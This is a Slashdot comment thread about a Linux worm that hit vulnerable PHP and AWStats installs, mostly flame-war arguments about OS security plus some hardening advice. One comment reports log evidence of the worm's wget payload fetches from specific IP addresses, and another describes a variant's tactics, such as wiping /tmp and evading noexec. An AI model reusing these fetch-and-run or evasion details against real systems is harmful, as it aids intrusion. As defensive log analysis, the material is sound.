    I've posted links and facts. You only have your claims based upon your complete lack of understanding of security. Buh bye!

    1. Re:Kicked your ass. by Assmasher · · Score: 1

      All you've proven is that you're 12 years old and terrible at analogies. Links and facts, PMSL. You supplied a link to a FBI statistic about crime rates. That really proves that your analogy is valid. Hehe.

      --
      Loading...
    2. Re:Kicked your ass. by Anonymous Coward · · Score: 0

      Agreed. Stupid analogy. Especially if taken as a percentage, then I'd imagine banks are robbed far more often than homes.

  107. Here's a cluestick for you by freeweed · · Score: 0, Redundant

    It's called using the vernacular.

    In a conversation like this, the obvious meaning of the word "Linux" is a fully functioning GNU/Linux distribution, consisting of the major components: the Linux kernel itself, everything related to GNU (apps, glibc, etc), and various 3rd party components as chosen by the distibution maintainer.

    More help here.

    --
    Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
    1. Re:Here's a cluestick for you by clickster · · Score: 1

      Did you just offer me a cluestick while simply rewording what I said? You didn't even address the point of my post. I am returning your stick "postage due"

      --
      If you mod me down, I shall become less powerful than you could possibly imagine.
  108. They are just now discovering this??? by Christianfreak · · Score: 2, Funny

    I've been seeing requests for some of these URLs for 6 months now. I figured it was a worm but I know I'm patched and I don't run any of that stuff anyway. Amazing to me that people get owned by this sort of thing.

    Between this and the SSH worm, maybe its time to investigate using Windows ME with Personal Web Server. :-D

  109. LAME by porkThreeWays · · Score: 1

    going to members.lycos.co.uk/sugi brings up some other files that look like they are phishers too. I think rather than immediatly shut them down, it would be more effective to set up a sting. Lycos could retrieve the last ip address to log into that account. If it wasn't a compromised machine, they could contact the isp. When the next login is attempted, they could have the isp locate which customer it is, and bust down their door.

    It's really sad that the AV companies haven't tried to shut the site down via contacting Lycos. It really shows me their commitment to security for the sake of security.

    --
    If an officer ever threatens to taze you, say you have a pacemaker.
  110. "Secure" vs "Safe" by argent · · Score: 1

    PHP is neither secure nor insecure. Individual applications are secure or insecure. PHP allows insecure applications and doesn't particularly encourage secure applications, nor does it limit the capabilities of secure applications.

    There are application environments that are inherently safe... that is, they implement a sandbox that fails closed. Individual applications may be insecure, but if the application's security fails the attacker does not gain any capabilities that can be used to launch further attacks on other systems or other users on the same system.

  111. Because it eats my bandwidth $ by Anonymous Coward · · Score: 0
    Hey, look through your logs - you'll also see slapper in there, and code red, and all sorts of other stuff - but if it doesn't affect you, why give a shit?
    When comcast raised the bandwidth cap on my cable segment, my effective bandwidth decreased due to the increased number of attacks my neighbors' infected machines were able to pump out.

    The worst part is that most of them know they are infected, but they choose not to do anything about it because it's easier to put up with a slow machine (their infected sooper-dooper boxes, which they only use for email and WildTanget, are slow as a 16 MHz 386) than to learn enough about the problem to fix it.

    Since Comcast is too greedy and incompetent to block the customer ports that are clearly spewing virii and worms in all directions (they won't even shut down a human-guided attack unless I call them multiple times) the situation can do nothing but get worse.

    1. Re:Because it eats my bandwidth $ by Taevin · · Score: 1

      I have to agree with this. While I've never been exceptionally pleased with Comcast's service or support, it's been decent at least. Lately, however, my connection quality has been terrible. First off, I'm not even getting anywhere near the bandwidth I'm supposed to be getting (less than half). More frustrating however, is the fact that a significant portion of my packets seemingly disappear and it seems to come in waves. My connection will run fine for a few minutes and then all (or nearly all) of my traffic is lost for several seconds. Which effectively causes a disconnect in any online game, ssh sessions to be dropped, and file downloads/uploads to be choked up - frustrating to say the least. I did some speed tests just a little while ago:
      (All numbers in kbps):
      down / up
      487 / 354
      405 / 357
      136 / 354
      2601 / 356
      3175 / 323
      2665 / 362

      The first three low numbers were so low because the speed test client was just sitting there waiting for packets to come in (apparently this was one of the trouble times). Not only that but, unless I'm mistaken, my connection is supposed to be 7Mbps (8? they like to claim they've upped their speeds so often it's hard to know) down and 768kbps up. Not even my best speed test is greater than half my supposed bandwidth. Anyone else with Comcast having problems like this? Given Comcast's competence level in the past it doesn't surprise me all the much, I'm just pissed that they're basically the only deal in town... too bad a T1 is too expensive for me at the moment.

  112. Re:So let me get this straight by LnxAddct · · Score: 1

    Thank you for a well reasoned counterargument. You don't find many of those on here :-)
    Regards,
    Steve

  113. Why Linux Sucks by RomulusNR · · Score: 1

    Yes the title is a troll. No, the point is not.

    Linux (and open source in general) is always touted as better than closed-source because there is such a large community of geeks who know the stuff well, so anyone looking for information can tap into the community of geeks to get answers, instead of calling an idiot tech rep for $$/hour.

    Except that communities of geeks are notoriously unapproachable, and their willingness to part with their geekily gained information is low. If the responses to this Slashdot article are any indication, geeks are more interested in belittling others (including other geeks) than actually providing useful information.

    Albeit the geekish hordes of /. are somewhat (though not much) more helpful than McAfee's removal instructions, which are to upgrade my version of a Windows virus checker. But SD really does not have a better answer for the concerned admin on what he should be looking for to ensure his system is safe.

    BTW, Wordpress 1.5 is safe.

    --
    Terrorists can attack freedom, but only Congress can destroy it.
  114. No. by khasim · · Score: 2, Insightful
    Jeez, all of you guys have a problem with shades of gray. It is neither 100% popularity nor 0% popularity.
    No. You don't understand security.

    Security is independant of popularity.

    There is nothing about popularity that makes a system more or less secure.
    It is a cost/benefit ratio.
    No.
    According to your logic 0 banks would be robbed since they have better security.
    No. FEWER banks are robbed because they have BETTER security.

    In order to get down to ZERO banks robbed, you'd have to get to PERFECT security.
    Yet banks get robbed. Why?
    Because their security is not perfect.
    Because there exists someone for whom the extra money outweighs the extra risk.
    Now you're confusing "risk" with "security".

    The two are not the same.

    Security != Popularity
    Security != Risk
    Eventually we will reach a point where the target size will be large enough that it provides enough bang/buck to defeat the extra security.
    Read "Attack Trees" by Bruce Schneier.

    http://www.schneier.com/paper-attacktrees-ddj-ft.h tml

    Security is all about reducing the avenues of attack.

    If a Linux box is 100% secure from digital attack via the Internet (no ports open), it is still vulnerable to someone breaking into your office and taking the box. Big fat hairy deal. But it is still safe from that worm.
  115. Can't measure OS security by worm prevalence. by Bob.Kerns · · Score: 3, Insightful
    Re: The "proof" of which has "better" "security" will be how widespread this worm is compared to slammer or code red or nimda.

    It's not so easy to compare as that. Unless you consider an OS being widely deployed to be a security flaw -- in which case Linux is doomed to be as bad as Windows if it succeeds...

    If an OS, let's call it X, is rare, worms can't spread quickly, just because they can't find instances to spread to. The effects of this are very non-linear, with the popular OS being at a very major disadvantage.

    If X is rare, few felons will have the expertise to attack it.

    If X is rare, few felons will have the motivation to attack it.

    Conversely, if X is widespread, and hated among felons, it will be an attractive target.

    If X is commonly business-critical, a great deal of publicity comes with each attack, and felons can get glory from the press and praise from their felonious peers.

    The bottom line is that there are many factors beyond the security of an OS in how widespread a worm becomes. In addition to the issues I listed above, consider how quicly patches get pushed out, which depends both on OS support for security patch distribution and administrator attentiveness. Consider the bandwidth of the typical connection, the nature of the hole, how likely it is to be blocked by non-OS firewalls, etc. etc.

    So I'm afraid the MS vs Linux security question isn't going to be settled at all by comparing this worm's spread to any other worm, nor even by comparing any large population of worms.

    Sorry -- it would be nice if the world were so simple.

    1. Re:Can't measure OS security by worm prevalence. by Anonymous Coward · · Score: 0

      Unless you consider an OS being widely deployed to be a security flaw -- in which case Linux is doomed to be as bad as Windows if it succeeds...

      Linux is already much more widely deployed for web servers. Hence his point...

  116. Lupper has a variant now - ELF_LUPPER.B by jjMick · · Score: 1

    Internet Storm Center has information about new variant reported by TrendMicro:
    http://isc.sans.org/diary.php?storyid=829

    and the description itself is at http://www.trendmicro.com/vinfo/virusencyclo/defau lt5.asp?VName=ELF_LUPPER.B&VSect=P

  117. Re:So let me get this straight by bperkins · · Score: 1

    The reason why this worm exist is due to the wide deployment of Windows Desktops with this specific vulnerability. There just aren't many Linux Desktops out there to bother with them.

    Call me a heretic, but this is roughly correct, with some caveats.

    OSS systems tend to have patches availible faster, so the bugs that lead to worms _can_ be fixed. It's just not realisitc to expect that they will be _always_ fixed (or even _often_ fixed). There's also really nothing you can do about the "I love you" strain of worms other than user education.

  118. That's cool... by mikehunt · · Score: 1

    my ISP blocks port 80 incoming....:-(

    (Keeps my firewall logs short at least.)

  119. IE is not cross-platform by macdaddy · · Score: 2, Interesting

    Microsoft hasn't released an updated for IE on OS X since 6/16/2003. They only released that small upgrade from 5.2.1 because of an asinine amount of bugs in 5.2.1, including one that I found and reported. They made a big todo over 5.2.1 being their last Mac release. 2.5 years is more than long enough to consider that IE is no longer available as a Mac product. You can still pick up a Redhat release that supports Sparc (5.x). Does that mean that RH supports Sparcs? No, it doesn't.

  120. not on my watch by ali3nxx · · Score: 0

    p4k1tst0rm ~ # uname -a
    Linux p4k1tst0rm 2.6.13-hardened #1 SMP Tue Sep 20 21:24:24 CDT 2005 i686 Pentium III (Coppermine) GenuineIntel GNU/Linux
    p4k1tst0rm ~ # cat /etc/gentoo-release
    Gentoo Base System version 1.6.13

    Bring it on =]

  121. Recognition by foxhound01 · · Score: 0

    This just goes to show that people are recognizing Linux enough to be willing to write viruses for it.

    --


    Linux is to the internet as Duct Tape is to the Universe.
  122. Re:OUTGOING by Anonymous Coward · · Score: 0

    Could it be a one time pad? O_O

  123. Of course by NanoGator · · Score: 1

    I think the developers who left these vulnerabilities open should be financially responsible for the damage this may cause.

    --
    "Derp de derp."
  124. log analysis by ilf · · Score: 1

    i was scanned from 216.128.227.73 (19 hits) and 24.42.129.18 (14 hits).
    first tries a wget fron 195.224.174.18/nikon, 2. one from 24.224.174.18/listen
    both are down.

    a third tries to get 62.101.193.244/lupii from 64.246.0.38, but it's down, too.

    "listen" is also tried from 24.224.2.174/listen

    more info on it here: http://isc.sans.org/diary.php?storyid=823

  125. If if if if if... by Max+Threshold · · Score: 1

    Still a lot better than, "If you're running Windows you're fucked."

  126. AWSTATS by kimvette · · Score: 1

    I notice that one of the listed vulnerabilities in awstats - definitely the fault of the administrator because not only is there a patched awstats version to address this well-documented vulnerability (check the project page at sourceforge), but you should also NOT make awstats publicly available. Lock it down so it can be accessed either only from your local/LAN IP range, or at least use http authentication (read up on .htaccess, man htpasswd/htpasswd2).

    If you don't understand how to do either, I wouldn't say that you shouldn't be allowed near computers (everyone has to start from somewhere) but I will tell you that you need to RTFM. Yesterday.

    Chances are that if you don't have the vulnerable apps locked down or patched already, you've already been rooted. Download/install rkhunter and chkrootkit and run them, keep them updated, set them up on cron jobs (man crontab), and actually read the reports daily - or at least the summaries.

    --
    The Christian Right is Neither (Christian nor right). See: Matthew 23, Matthew 25, Ezekiel 16:48-50
    1. Re:AWSTATS by kimvette · · Score: 1

      Oh, and yes I know this is feeding the trolls, but:

      These are administrative bungles and NOT security holes inherent to Unix/Linux/*nix. If you RTFA you will notice that not only is *nix affected, but every other platform (e.g., Windows) due to vulnerabilities in the application (perl, php), so let's not continue the platform wars, mmmmkay?

      --
      The Christian Right is Neither (Christian nor right). See: Matthew 23, Matthew 25, Ezekiel 16:48-50
  127. that's a variant of worm! by Anonymous Coward · · Score: 0
    That's a more deadly variant of the worm! (standard version cited in comment 13978670)
    • It has different filenames
    • It tries to empty /tmp and kill all perl processes
    • It runs the downloaded program through an interpreter (thus mounting /tmp with the noexec option does nothing).